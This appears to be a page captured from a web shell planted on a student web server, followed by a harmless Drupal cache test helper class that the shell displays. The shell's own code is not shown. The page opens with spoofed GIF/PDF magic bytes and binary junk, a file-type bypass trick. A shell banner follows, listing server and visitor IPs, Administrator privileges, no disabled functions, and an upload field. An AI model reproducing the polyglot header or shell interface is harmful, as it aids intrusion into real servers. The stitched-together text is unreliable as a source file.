GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/system/src/Tests/Cache/ |
Upload File : |
<?php namespace Drupal\system\Tests\Cache; use Drupal\simpletest\WebTestBase; /** * Provides helper methods for cache tests. * * @deprecated Scheduled for removal in Drupal 9.0.0. * Use \Drupal\Tests\system\Functional\Cache\CacheTestBase instead. */ abstract class CacheTestBase extends WebTestBase { protected $defaultBin = 'render'; protected $defaultCid = 'test_temporary'; protected $defaultValue = 'CacheTest'; /** * Checks whether or not a cache entry exists. * * @param $cid * The cache id. * @param $var * The variable the cache should contain. * @param $bin * The bin the cache item was stored in. * @return * TRUE on pass, FALSE on fail. */ protected function checkCacheExists($cid, $var, $bin = NULL) { if ($bin == NULL) { $bin = $this->defaultBin; } $cached = \Drupal::cache($bin)->get($cid); return isset($cached->data) && $cached->data == $var; } /** * Asserts that a cache entry exists. * * @param $message * Message to display. * @param $var * The variable the cache should contain. * @param $cid * The cache id. * @param $bin * The bin the cache item was stored in. */ protected function assertCacheExists($message, $var = NULL, $cid = NULL, $bin = NULL) { if ($bin == NULL) { $bin = $this->defaultBin; } if ($cid == NULL) { $cid = $this->defaultCid; } if ($var == NULL) { $var = $this->defaultValue; } $this->assertTrue($this->checkCacheExists($cid, $var, $bin), $message); } /** * Asserts that a cache entry has been removed. * * @param $message * Message to display. * @param $cid * The cache id. * @param $bin * The bin the cache item was stored in. */ public function assertCacheRemoved($message, $cid = NULL, $bin = NULL) { if ($bin == NULL) { $bin = $this->defaultBin; } if ($cid == NULL) { $cid = $this->defaultCid; } $cached = \Drupal::cache($bin)->get($cid); $this->assertFalse($cached, $message); } }